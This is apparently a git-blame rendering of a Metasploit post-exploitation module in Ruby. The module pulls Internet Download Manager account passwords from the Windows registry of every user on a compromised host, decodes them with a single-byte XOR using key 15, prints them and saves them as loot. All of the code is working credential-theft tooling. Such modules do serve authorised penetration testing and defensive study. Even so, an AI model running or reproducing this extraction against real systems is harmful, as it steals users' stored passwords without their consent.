2011-07-22 19:55:20 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-07-22 19:55:20 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2011-07-22 19:55:20 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Windows Gather Internet Download Manager (IDM) Password Extractor',
|
|
|
|
|
'Description' => %q{
|
2011-08-02 22:42:26 +00:00
|
|
|
This module recovers the saved premium download account passwords from
|
2023-02-08 13:47:34 +00:00
|
|
|
Internet Download Manager (IDM). These passwords are stored in an encoded
|
|
|
|
|
format in the registry. This module traverses through these registry entries
|
|
|
|
|
and decodes them. Thanks to the template code of theLightCosine's CoreFTP
|
|
|
|
|
password module.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [
|
2011-08-02 22:42:26 +00:00
|
|
|
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
|
2015-04-02 15:15:37 -05:00
|
|
|
'Unknown', # SecurityXploded Team, www.SecurityXploded.com
|
2011-08-02 22:42:26 +00:00
|
|
|
],
|
2023-02-08 13:47:34 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2025-04-28 09:08:33 +10:00
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
'SideEffects' => [],
|
|
|
|
|
'Reliability' => []
|
|
|
|
|
}
|
2023-02-08 13:47:34 +00:00
|
|
|
)
|
|
|
|
|
)
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run
|
2016-08-10 13:30:09 -05:00
|
|
|
creds = Rex::Text::Table.new(
|
2023-02-08 13:47:34 +00:00
|
|
|
'Header' => 'Internet Downloader Manager Credentials',
|
|
|
|
|
'Indent' => 1,
|
|
|
|
|
'Columns' =>
|
|
|
|
|
[
|
|
|
|
|
'User',
|
|
|
|
|
'Password',
|
|
|
|
|
'Site'
|
|
|
|
|
]
|
|
|
|
|
)
|
2011-07-29 01:22:00 +00:00
|
|
|
|
2011-07-22 19:55:20 +00:00
|
|
|
registry_enumkeys('HKU').each do |k|
|
2025-04-28 09:08:33 +10:00
|
|
|
next unless k.include?('S-1-5-21')
|
|
|
|
|
next if k.include?('_Classes')
|
2011-07-22 19:55:20 +00:00
|
|
|
|
|
|
|
|
print_status("Looking at Key #{k}")
|
|
|
|
|
|
|
|
|
|
begin
|
2026-02-21 06:13:23 +00:00
|
|
|
subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords")
|
2025-04-28 09:08:33 +10:00
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
if subkeys.nil? || subkeys.empty?
|
|
|
|
|
print_status('IDM not installed for this user.')
|
2025-04-28 09:08:33 +10:00
|
|
|
next
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
subkeys.each do |site|
|
2023-02-08 13:47:34 +00:00
|
|
|
user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'User')
|
|
|
|
|
epass = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'EncPassword')
|
|
|
|
|
next if epass.nil? || (epass == '')
|
|
|
|
|
|
2011-07-22 19:55:20 +00:00
|
|
|
pass = xor(epass)
|
|
|
|
|
print_good("Site: #{site} (User=#{user}, Password=#{pass})")
|
2011-11-15 14:13:51 -08:00
|
|
|
creds << [user, pass, site]
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
2011-07-26 01:49:51 +00:00
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
print_status('Storing data...')
|
2011-07-26 01:49:51 +00:00
|
|
|
path = store_loot(
|
|
|
|
|
'idm.user.creds',
|
2011-11-15 14:13:51 -08:00
|
|
|
'text/csv',
|
2011-07-26 01:49:51 +00:00
|
|
|
session,
|
2011-11-15 14:13:51 -08:00
|
|
|
creds.to_csv,
|
|
|
|
|
'idm_user_creds.csv',
|
2011-07-26 01:49:51 +00:00
|
|
|
'Internet Download Manager User Credentials'
|
|
|
|
|
)
|
2017-07-19 13:02:49 +01:00
|
|
|
print_good("IDM user credentials saved in: #{path}")
|
2025-04-28 09:08:33 +10:00
|
|
|
rescue StandardError => e
|
2023-02-08 13:47:34 +00:00
|
|
|
print_error("An error has occurred: #{e}")
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2011-08-02 22:42:26 +00:00
|
|
|
def xor(ciphertext)
|
2023-02-08 13:47:34 +00:00
|
|
|
pass = ciphertext.unpack('C*')
|
|
|
|
|
key = 15
|
|
|
|
|
for i in 0..pass.length - 1 do
|
|
|
|
|
pass[i] ^= key
|
2011-08-02 22:42:26 +00:00
|
|
|
end
|
2023-02-08 13:47:34 +00:00
|
|
|
return pass.pack('C*')
|
2011-07-22 19:55:20 +00:00
|
|
|
end
|
|
|
|
|
end
|